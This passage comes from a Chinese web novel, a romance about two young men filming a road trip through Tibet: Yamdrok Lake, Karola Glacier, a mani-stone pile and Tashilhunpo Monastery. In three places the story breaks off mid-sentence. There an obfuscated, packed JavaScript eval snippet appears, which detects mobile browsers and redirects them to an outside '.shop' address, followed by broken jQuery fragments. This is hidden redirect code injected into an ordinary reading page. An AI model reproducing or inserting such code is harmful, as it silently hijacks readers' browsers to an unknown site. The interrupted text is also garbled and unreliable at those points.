燕栖山点头:“确实是这种类型的故事,不过我们没有上美影那么高的技术力啦,感觉做成实景动画比较方便。” 车子拐上349国道,驶入羊卓雍措景区,原本这段路上应该已经可以清楚地看清羊湖著名的蓝色湖面,而由于两人的倒霉光环,大雾掩盖之下不仅仅是湖面了,连路边的栏杆都快看不清了。 狂风大作,燕栖山稍开一点窗户透气,立刻被劈头盖脸的风吹了一嘴头发。付舟面无表情地摁住鬓角,想着发卡根本顶不住,早知道还是应该全部推掉。 把车在停车场停下,他俩开始按照计划拍摄视频。 而在大脑被高原的风彻底洗涤一遍后,反而是有利于燕栖山思考了。 他意识到一个严重的问题:为什么他老是要依靠付舟的一举一动做出判断? 燕栖山从小是个我行我素的孩子,其实是很不习惯落入被动的境地的。 为什么他不可以又争又抢? 为什么他不可以掌握主动权? 一个脆弱的燕栖山倒下了,千万个坚韧且略显不要脸的燕栖山站起来了。 燕栖山清清嗓子,娇羞道:“哥哥,视频里你来配那朵花好不好~” 语气谄媚,音调九曲十八弯,令人闻之色变。 20.海鸥 付舟以为自己出现了幻觉。 他顶着观景台上的狂风,心想肯定是自己疯了,不然怎么会听到燕栖山以这种口吻说话。然而他刚刚对自己承诺要改变说话方式,于是他只故作平静应了一声可以。 燕栖山死皮赖脸地凑上来,眉飞色舞:“这样子后面出镜也比较方便,还有互动感……” 付舟不得不承认他那件荧光黄的冲锋衣确实非常抢眼,尤其是在昏天黑地的雾气里,简直是风流倜傥的人形警示牌。 付舟非常没骨气地答应了:“都依你,先上车?这里风太大了。” “好耶!哥哥你真好!” 又来了。 他到底触发了燕栖山哪个隐藏出厂设置导致他讲话成了这副腔调? 这一路上住宿不好找,故而他们不能在羊卓雍措停留太久,得在天黑之前抵达日喀则。可能是因为时间接近正午,白雾间隐隐约约透出阳光来,缝隙间时而闪过天空的一角,燕栖山说也不知道带的杂志社的无人机能不能穿过雾气。 西藏地广人稀,人在其连绵的山脉之中微小如蝼蚁,网上偶尔也流传着巨物恐惧症患者不能来西藏的建议,在这种情况下,加入适当航拍画面更能体现大地的广袤无垠。 可能他俩终于交了好运,氤氲的雾霭正在湖面上慢慢飘散,碧色的湖水显露在眼前,正如羊卓雍措名字的含义,澄澈的湖面像玉做的神仙在人间流下的一滴泪水,叫人一时间竟不知是湖水更蓝还是天空更蓝。 湖边新生的草甸闪闪发光,仿佛黄金的造物。 一群雪白的海鸥于湖面上滑翔而过,他们靠边停下车,燕栖山把无人机放飞,让其在不会干扰到海鸥飞行轨迹的位置拍湖景,喜出望外: “它们贴着水面飞行,看来今天会是好天气!” “常说燕子低飞预示着下雨天,海鸥不太一样?” “嗯,燕子低飞是因为气流紊乱、觅食和羽毛被沾湿多种原因导致的,海鸥的话……我记得是因为它们骨骼是空心的?可以感知气压变化,大雨要来的时候似乎会躲起来?”燕栖山皱着眉努力回想。 “好厉害,受教了。” 燕栖山听他夸奖又要翘尾巴,扭头去看,阳光照在付舟的睫毛上,根根分明,镀着金光,乍一看仿佛是半透明的。 付舟的睫毛不卷也不翘,平平的伸出去,可又很长很浓密,闭眼时遮挡效果非常明显,在下眼睑上投下一片阴影,使得他每次眨眼都有种“忽闪忽闪”的效果。 燕栖山之前观鸟的时候没事喜欢数观察对象的初级飞羽来消磨时间,现在他想自己看付舟眨眼也能看一天。 付舟也在看燕栖山,心里却在盘算其他的事情。 他不敢看燕栖山的眼睛,只能假装在观察海鸥时,用余光去撇青年长满卷发的头顶。 燕栖山是自来卷,头发又多又厚,他之前也试着拉直过,结果没几天又倔强地炸成“金毛狮王”,还不如顺应头发的生长趋势烫点小卷。 看来正如燕越水所说,燕栖山在自己金贵的脑袋上花了不少钱,因为即使过了这么多天,他的头发还保持着一个赏心悦目的造型。逃避不能解决什么,付舟越想忘记那个梦在记忆力就越清晰,他知道就算仅仅是从外表来看燕栖山对他也有要命的性吸引力,然而…… 然而很遗憾,要是他能坦坦荡荡地直视自己的欲望和想法,他就不是付舟了。 从付舟之前处理自己头发的方法就可以看出,他对于自己的外貌并不是很在意,最多是遇到难社交的场合时当个额外的让别人留下好印象的手段,不过他自己知道这不太光彩,可是他没有办法狠下心去拒绝与别人的交往,倒不如说,他很害怕别人会拒绝和他保持友好关系。 他有想过自己是否是讨好型人格,可是别人一旦被他“讨好”,他又要龟缩回去。 搬到英国之后付川总是不和他说话,零星几次见面老是他自己说个不停,他说:“妈妈,为什么这里的人老是穿短裤踢足球啊?好不习惯。” 付川说别摔断腿,英国看病很麻烦。 他说:“妈妈你能填一下家校沟通本吗?老师催了。”他心里巴望着付川说没空,这样就能被学校请家长,妈妈也好听听他在学校的表现。 付川不吃这一套,恹恹地道我很忙,这样吧,给你二十磅,你去找街角小店那个老太太帮你填,就说她是你奶奶。 所以付舟心想是不是自己做得不够好,是不是自己解决这些事情就可以帮到妈妈,妈妈就不会那么忙,他也可以和妈妈多说一点话。付舟学会模仿付川的笔迹填家校沟通本,学会腿擦破之后自己擦碘伏和裹纱布。 可其实他心里也明白,倘若付川哪一天忽然愿意和他说话了,他反倒要不知如何是好。 现在他也不知道该用什么样的态度去对待燕栖山,原本按照他的设想,他们不过是被偶然的机遇推到一起的各取所需的关系。付舟扪心自问,他真的想要更进一步吗?老实说,他不知道。 更重要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522821|203091||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的是,他不敢面对栖山若是不喜欢他的后果,甚或是燕栖山恐同的后果。 付舟,你这个可恶的怂包! 他看看燕栖山年轻英俊,神采飞扬的脸,下定决心,他要把这个爱情从他的心上摘下来,他要连根把他拔掉。 去日喀则的路上要驶过G349国道,卡若拉冰川的雪线一直延伸到公路边。 燕栖山指着冰川间的层层叠叠裸露的黑色岩石线条,说:“看着好像千层蛋糕啊!” 这里海拔太高,爬到栈道上挺费劲,付舟微微有点喘:“呼……牛奶味的?” “还有奥利奥夹心……你要不要吃?” 燕栖山已经很快地从包里翻出饼干递过来,付舟想都没想就张嘴了,他不知从什么时候开始已经非常习惯燕栖山的投喂,没注意到某人眼神微动,悄悄迟疑。 他沾着饼干屑的唇角被青年修剪整齐、干净圆润的指甲戳进去。 指尖就停留了那么一秒,不过足够始作俑者感受到柔软的湿润。 燕栖山很快把手收走,付舟正在拿望远镜观察冰川最顶上的鼠兔洞和雪豹脚印,没注意到他的小动作。 冰川较于崎岖的山脊更为平坦,反光作用明显,他的侧脸被照的雪白,又因为攀爬而泛出血色。 大概红梅落在雪地上就是这么个模样,燕栖山揣度着。 这完全是他毫无根据的推测,江南的梅花很多,可是他生活的地方雪很少,往往梅花盛开时是一地枯草和湿土。 在江南难得的雪天,燕栖山小时候“手贱”,喜欢挖别人车盖上的雪玩,结果不同于他的想象,凝结的雪块一点儿不软,是硬邦邦冷冰冰的,在他手里化成一滩水,冻得他手指僵硬发痛。 因而他在猜想,付舟的脸颊是什么样的手感? 是冷的、热的?硬的、软的? 介于他现在已经是决定勇敢出击的钮钴禄·栖山,所以他无所畏惧地伸出手去摸付舟的脸…… ——他摸空了。 付舟对他光明正大的揩油行为浑然不知,恰巧掉头从栈道的缺口下到土地上,回身招呼燕栖山:“栖山,你要不要来堆个玛尼堆?” 燕栖山举着手僵在原地,像是要给空气结结实实地一耳光。 付舟大惑不解:“这里有蚊子吗?” 此时气温八摄氏度。 “有的。” 燕栖山坚定地、不假思索地、面红耳赤地说。 然后扇了自己一巴掌。 21.卷柏 “啪!” 巴掌声回荡在天地山川之间,付舟盯着燕栖山的脸颊一点一点泛红,抽的最狠的地方肿了,颜色青白。 “燕栖山,你这是要干吗?” 付舟又跳上栈道,他的手伸过来抬燕栖山的下颚,燕栖山不敢动,低头侧过脸任由付舟上下左右打量他微微受损肿胀的脸。 燕栖山的侧脸轮廓明显,有一个极其优越的鼻梁,很是赏心悦目,付舟见燕栖山试图斜着眼从眼角和他对视,从他这个角度看很滑稽,忍着笑问: “疼吗?” “不疼!真的不疼!”燕栖山保证。 他刚刚一时头脑发热,其实也没有打的很用力,只是看上去吓人。 现在付舟正在端详他的脸,仔仔细细,指甲尖戳在下颚角,一向对自己很有自信的燕栖山突发急性容貌焦虑。 要不是已经太晚,燕栖山真的要立刻打开手机前置整理仪容,确保自己以最完美的状态出现在付舟面前。付舟不知道为何手底下线条流畅的下颚猛然绷紧了,不过这个行为让他知道这人肯定没啥大事。 “是想用你的下颚线割伤我吗,和我这么大仇呀,栖山?” 燕栖山愣住,这下尴尬的连耳根都红了,他这几天又把他叮铃咣铛的浮夸耳饰带上,此刻微微一扭头,就和铃铛似的乱响。冰川反光,再加上燕栖山闪闪发光的耳朵,付舟开始严肃考虑自己是否应该戴上墨镜。 与此同时,他意识到自己刚刚又在嘴贱。 付舟,注意分寸,他在心里默念。 “……不逗你了,话又说回来,现在能告诉我为什么抽自己吗?” 付舟松手,尽量以平静客观的态度陈述这个荒谬的问题。 燕栖山摸摸自己的下巴,他是感到遗憾的意思,却被付舟误解成了不习惯这种肢体接触。 他绝对是直男,付舟极为肯定地想,不然怎么会对同性的亲密接触感到别扭。 由于付舟常年生活在英国,对于人类多样的xp不能说是熟知,也能说是有所了解,不过他一直觉得没必要去关心别人的取向,但是,他寻思自己的鉴别能力正确率应该是可以肯定的。 ……应该吧? 这时的燕栖山才发现自己有一个新毛病,就是和付舟相处时容易不过脑子,西藏三月底有蚊子这种鬼话当然是说不得了,于是他说: “没事,习惯了,我没事就喜欢抽自己玩。” 付舟闻言默然。 燕栖山意识到自己说了什么后骇然。 “哦……哦,这个爱好挺独特的,”付舟干笑着拍拍燕栖山的肩膀,“呃,好吧,也不算特别小众?至少不是什么摩托车排气口之类的……抱歉,我不是很了解这个圈子。” 燕栖山看着浓眉大眼,原来私底下居然有这种爱好吗?完全看不出来啊。 付舟的世界观重塑了。 燕栖山百口莫辩,这回是真想扇自己了,心说面对付哥的这种堪忧的智商怎么追人,果然人们常说人一生智慧的巅峰是高考,而距离高考五年的燕先生早已退化至草履虫。 他想摸付舟的脸没摸到,付舟摸他脸又只是那么轻飘飘地碰碰,看上去也没有被他的容貌吸引的意思,第一次暗恋的热血青年越想越委屈,忍不住悲愤地大声辩解: “我不是抖M!!!” “哐啷!!!” 后面游客的登山杖脱手掉在地上,紧接着骨碌骨碌滚下台阶。 荧光黄的燕栖山和荧光红的付舟蹲在碎石子地上堆玛尼堆,努力减少存在感,不幸以他们俩衣服的鲜艳程度估计连天上飞过的鸟都能看得一清二楚。 刚才惊吓路人后燕栖山一跃而起,活像被炮仗崩了,三步两步窜下台阶帮人家捡东西,恭恭敬敬地把登山杖以权杖的方式双手递给那个老太太。 老太太笑笑说多谢你呀,神色慈祥,毫无异常。 燕栖山松口气,以为只是老人家手滑,并不是因为目睹他们惊世骇俗的一段对话,正要转身事了拂衣去,老太太突然拽拽他衣服下摆,语重心长: “后生仔,唔系阿姨多口,有啲事私下讲下就算啦,唔好广而告之。” 并没怎么听懂,但也能理解老太太想说什么的燕栖山麻木点头,回头寻找他的“共犯”付舟,却见这人已经脚底抹油溜走,此刻只留给他一个倚靠在栏杆上的背影。 腰细腿长且红艳艳。 果然,燕栖山安慰自己,这就是大难临头各自飞,这怎么不算一种没有“夫妻”之名,却又“夫妻”之实? 冰川下端全是青色碎石子的砂土地上已经有很多生活在这里的人或游客堆起的玛尼堆,他们小心地绕开,找了一片空地,付舟捡了一些大块的石头,放下一块,示意燕栖山接着往上垒。 对方没有动作,付舟问:“怎么了?” 燕栖山问:“我怕有什么忌讳什么的……之前没堆过玛尼堆。” “首先就是,不能破坏别人的玛尼堆,可以往上面加石头,不可以拿掉,”付舟拿起一块石头,放在燕栖山条件反射般伸出的双手中。 “据说堆到七层以上就可以实现心中的愿望,你试试?” 燕栖山轻轻把石头放在前一块石头上方,抬眼问:“付哥,你的愿望是什么?” 付舟想,我的愿望,是什么呢? 燕栖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533869|203091||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山是随口一问,却正好戳到付舟纠结的点上,他立刻放上另一块石头,语速飞快地掩盖过去: “考察项目完成,毕业。” 燕栖山不甘示弱,叠上他自己那块石头: “《衔枝》企划达到预期订阅量,我们做的小动画大爆。” 付舟:“之后一年内再也不吃白人饭。” 燕栖山:“下次烫头的时候不要把发尾烫焦。” 付舟颇为意外地扫了一眼燕栖山无论从哪个角度看上去都非常完美的卷发:“看上去不像烫坏了?” 燕栖山大倒苦水:“本来我头发还要长,当时烫完一把那个卷拿下来我就知道坏菜了,发尾直接纷纷而下,全部断掉,最开始挑染也是为了让烫坏的地方看上去像……呃,层次,后来觉得效果还可以,就继续补染了。” 他们俩的手伸向最后一块石头,一人拿一边放在那堆石头顶端,付舟想他们到底在干什么,玛尼堆又不是阿拉丁神灯,想要许下的愿望都成真未免也太贪婪,而在各地神话故事里贪婪的人一般没有好下场。 可他也隐隐希望愿望可以实现。 堆的时候没考虑很多,石块大小不一,不过还算是稳固的,他俩手在最后一块上停了一会儿,等待它不再晃动,燕栖山抬起眼睛看付舟,郑重其事: “付哥,旅途顺利。” 他暗想,还有,表白顺利。 “嗯,小燕,旅途顺利。” 付舟突然不想纠结愿望能不能实现的问题了,在这道用融水滋养出江孜丰饶土地的奇迹面前,他觉得一切都有可能。 卡若拉冰川蓝色的冰舌每年都在以二十米的速度消褪,远处的山崖上已经生出一个丑陋的黑色伤口,付舟想他下次来的时候冰川还会剩有多少。 可即使是这样看似一般人无能为力的事情,燕栖山和他仍然在策划案上写了这里的呼吁宣传,燕栖山笑着和他说这是“知其不可为而为之”。 也许有一天,这里的蓝色会回来,就像干旱时会枯萎皱缩的卷柏,雨天又会舒展枝条,长出嫩绿的新叶。 也许……也许燕栖山喜欢他也不是不可能。 …… 蹲太久腿麻,付舟站起来的时候有些发抖,眼前发黑,燕栖山现在似乎时时刻刻在关注他,上前一把拉住他的手,随即又放下了,嘟囔着刚摸了石头,自己手太脏。付舟没什么表情的看他一眼: “该走啦,接下来好像有三十多公里不好的路,天黑了不好开,我们还要赶到日喀则呢。” 那座小小的玛尼堆渐渐和其他玛尼堆混在一起,直到慢慢消失在视野里。 他们再一次上路了。 22.麻雀 沿G349国道前行的路上海拔略有下降,开车体感会好很多,只是路上有一段搓衣板路,付舟一边开车一边感觉自己的五脏六腑被颠得上上下下乱跳。 燕栖山坐在副驾驶,一手拉着车窗上面的把手,一边开着电脑单手工作,纹丝不动。 他在裤子口袋里塞铁块了吗? 付舟嘀咕,随即往上一瞥,燕栖山的手指死死扣住上面的把手,青筋暴起,疑似正试图通过这种方式练核心。 幸好这段全是坑洞和泥水的路只有不到三十公里,付舟绕过一台压路机,总算开上了平坦开阔的柏油路。江孜县是西藏的粮仓,道路两边铺开黄绿色的农田,群山连绵,间或有羊群路过,视野极其开阔,付舟压制住自己翻江倒海的胃,心情很好地想幸好还没有吃午饭。 燕栖山最后在电脑上戳了两下:“成了!” “什么?” “我们的视频的预告总部加工好了,已经发布。” 正巧前面浪卡子县的检查站要重新查边防证,他俩还要顺便加油,这个路虎卫士的耗油实在是有点高,虽说是油电混动,但是眼下也不太方便找充电的地方。 在停车场停下车,燕栖山把电脑递过来,点开“燕山燕子飞”的最新视频。 视频才刚刚发布,下面的数据已经显示有超过三千人正在观看,毕竟还有他的粉丝基础在。 破站近些年的短视频越来越多,所以他们这个预告只做了三十秒,先保证完播率,不过燕栖山后面还是希望以长视频为主,不然故事做不太完整。 这个被命名为“衔枝西行”的合集中的第一个视频稿件叫做“00.种子”。 一只燕子从水乡青瓦白墙的小楼上展翅飞下,它飞啊飞,转眼间飞过半壕春水一城花,随着空中的一个翻身,模糊专场,燕子变成生着燕子翅膀的动画小人“小燕”,参考了付舟之前画的草稿,加上了更多鸟类和燕栖山本人的外貌特征。 ——当然主要部分还是人,不管怎么说卷发的鸟人还是比较不符合大众审美的。 “那天,我捡到了一颗种子。” 背景音是燕栖山平静的声音,他录音的时候完全没有平常咋咋呼呼的模样,语气舒缓,声音像流水。 小燕带着种子越过横断山脉和唐古拉山,来到拉萨,落在热热闹闹的八廓街中央,单脚站着,左看右看。 画面外伸过来一只手——付舟的手,小燕歪头笑,拉住那只手往前走,再转场,花儿出现。 小燕和花儿走在路上,似乎是察觉到镜头,两个人手拉手朝镜头贴过来,白光闪过,画面换成燕栖山和付舟对着镜头,他俩没多做停留,让开向镜头展示身后的冰川和群山。 黑屏,出现字幕,是汉字和藏文: 你愿意和我们带一朵花去西藏吗? 付舟顺手一键三连了——他忘记这是燕栖山的账号,翻到评论区,讨论确实很热烈,不过绝大部分都是抱着看个热闹的心态。 1L 燕哥的新视频!风格好特别,蹲蹲后续!然后三秒内,给我后面那个没见过的帅哥的全部信息。 2L 好像是这个up?@FUZHOU 之前生活区的,不过好久没发过视频了。 3L 我去!朵拉哥不是在英国留学吗?他俩怎么认识的啊? 4L 应该是杂志社找的?不管怎样两倍的帅哥对我眼睛很好,话说为什么叫他朵拉哥? 5L 呃,你去看一下他之前的视频就知道了…… 已经设想到他之前的发型会引发怎样的反应,付舟立刻把评论区关上了,颇为不自在地正了正脑后的小辫子。 燕栖山给他扎过一次之后付舟就效率很高地观看学习了破站上所有打着“尴尬期发型”和“辫子”标签的高播放量视频,现在他很自信能给燕栖山头上扎上十个小辫,就像刚从宠物美容院出来的雪纳瑞。 当然燕栖山对这件事不是十分满意,但是这人在扎头发的时候老是要在他脖子后面摸来摸去,付舟觉得这还是有点太怪了。 上一次有除了燕栖山之外的人碰他的脖子是王瑞秋和他挥手打招呼,他没看到径直走过,于是这姑娘一掌切上他的后颈。 总而言之,注意肢体接触,好兄弟是不会摸对方的脖子的! 燕栖山的脸出现在电脑旁边,眉眼远比视频里的更高清更英俊,他问:“付哥,怎么样?你喜欢吗?”好在这辆越野车的前座很宽敞,足够他俯下身到和屏幕齐平的程度。 “我觉得挺不错的,你的粉丝喊你‘燕哥’?”付舟压低声音,仿佛正在和燕栖山分享一个不为人知的秘密。 燕栖山的脸登时红了:“我本来说叫小燕就行,但是大家说听上去像我领导,所以……” 他没说完,因为付舟脱线的大脑忽然想起了不知道什么时候在网上看到的视频:测试!当你向朋友伸出手的时候他/她会有什么反应? 付舟伸出手。 燕栖山不明所以,燕栖山把下巴放了上来,蹭蹭付舟的手心。 好吧,最标准的答案,他是不是看过那个视频? 付舟盯着那双大眼睛,正想说什么,燕栖山一唱三叹地开了口:“好饿——” 哀怨、惆怅、如泣如诉。 幸好付舟对这个答案足够有准备,他松开燕栖山的下巴,伸手去后面翻了一会儿,摸出两盒泡面。 燕栖山大失所望,一骨碌爬起问:“就吃泡面吗?” “泡面怎么了?在英国要买到得专门跑到亚超去买呢,好啦,燕哥——我们俩谁去打热水?” 拒绝食物歧视,从你我做起。 燕栖山脸红红地拿了水壶:“我去吧——给我留香菇炖鸡味的!” 他们到日喀则的时候是下午,日光照在扎什伦布寺高耸的白墙红墙上,投下深色的阴影,和寺中僧人的长袍是一个颜色。 付舟原本并不是很想来,他习惯把体力保存到最需要的时候,例如出野外之前,绝对在出租屋先躺一天养精蓄锐。 不过燕栖山邀请他,他心软,觉得这小孩实在让人无法拒绝,燕栖山同样无法拒绝广场上给他推销手串的小贩。 付舟小声说:“你确定吗?即使是我也知道这个大概率在义乌能批发到。” 燕栖山同样小声回:“我知道,我十岁在英国买完格兰芬多围巾和魔杖,回家之后才发现包装上写着‘Made in China’的时候就知道了,就买两个,重在体验。” 他们顺着寺庙的台阶往上爬,此刻正值寺庙的晚课时间,喃喃的诵经声从中央的庙宇间传来,燕栖山不知道又去干什么了,让付舟先上来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17539980|203091||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>山路旁边排满金碧辉煌的铜制转经筒,有虔诚的信众严肃地转着往上,一小步一小步,也有游客看上去一知半解的,但也很认真的握住转经筒的把手,一圈,接着一圈。 付舟爬的有点喘,他找了楼梯一脚坐下,把背着的氧气瓶扯出来吸两口。 即使是下午,西藏稀薄的大气还是让紫外线有些强烈,付舟戴上燕栖山友情赞助的墨镜——不是亮粉色的那副,静静地听院子里传来的梵音,“顿达央”是藏传佛教的传统诵经音乐,低沉悦耳,仿佛大地都在随之震动。 阳光暖烘烘地落在他身上,付舟有些昏昏欲睡。 这时有什么毛茸茸的东西蹭蹭他的手,不止一个东西。 困得翻白眼的付舟鬼使神差地想起之前的事,嘟囔道:“燕栖山,别蹭我的手……” “什么事?”燕栖山的声音在他脑后勺处说,精力充沛,语调欢快,一如既往。 “汪!” “喵~” “燕栖山”在他手边友好地叫道。 付舟猛地睁开眼,发现手边的“燕栖山”是一只胖乎乎的狸花猫和一只吐着舌头的白狗,真正的燕栖山拿着两碗刚从边上的小吃街上买来的“羌稞”,困惑地俯视着他。 猫咪凑过来把脑袋放到付舟的手心,扭来扭去,付舟心情大好:“你怎么在这里呀,宝宝?” 燕栖山伸手过来也想摸一下,猫咪冷漠地咪咪两声,纵身一跃上了付舟的膝盖,付舟受宠若惊,顾不上吃东西,开始全心全意抚摸猫咪,猫咪翻出肚皮,看上去很舒服。 被晾在一边的燕先生表情苦涩,把手里的羌稞一口喝掉大半碗,然后非常不优雅的打了个酒嗝。 他惊恐地捂住嘴,看看羌稞,看看付舟。 “你买的时候,老板又和你说喝完不要开车吗?” 燕栖山冥思苦想一阵:“好像……有?我没太听清。” “里面除了奶渣和人参果还放了青稞酒,不过度数挺低的,别担心。” “那个,我家也有猫咪的。”燕栖山扭扭捏捏地说。 付舟看看他,有点没听明白,除了由于长时间的专注开车做视频等等而导致燕栖山的眼睛有点发红之外。付舟并没看出有喝多的迹象:“什么?”同时一把拽住衣角,那只白狗正试图咀嚼掉冲锋衣的摇粒绒内层。 燕栖山点开手机上的宠物监控,举到付舟面前:“这是我的猫——麻雀,很乖的,我家也有猫,如果你想看……” 麻雀是一只芳龄两岁,体重八斤的玳瑁,名字来源于毛色。 这位燕栖山的“很乖的”公主殿下走过来,仰视了监控一会儿,由于深毛色而看上去有些阴暗,随即一个鹞子翻身,飞出画面不见踪影。燕栖山没开声音,但是地板上突然出现了什么东西的残骸。 那东西是黑色的,长方形,有玻璃碎片。 付舟嘴角抽搐:“……栖山,那是你的,呃,电视吗?” 燕栖山一把收回手机,强作镇定道:“没事……没事,反正现在家里也没人看电视了。等等,我打电话叫个保洁,别扎到麻雀的脚。别看它这样,平常真的很听话的,从来不挠我!” 哦,那就是挠除了你之外所有人,付舟听出了他的言外之意。 这时候又有人走过来,向燕栖山递过来…… 递过来一根香蕉?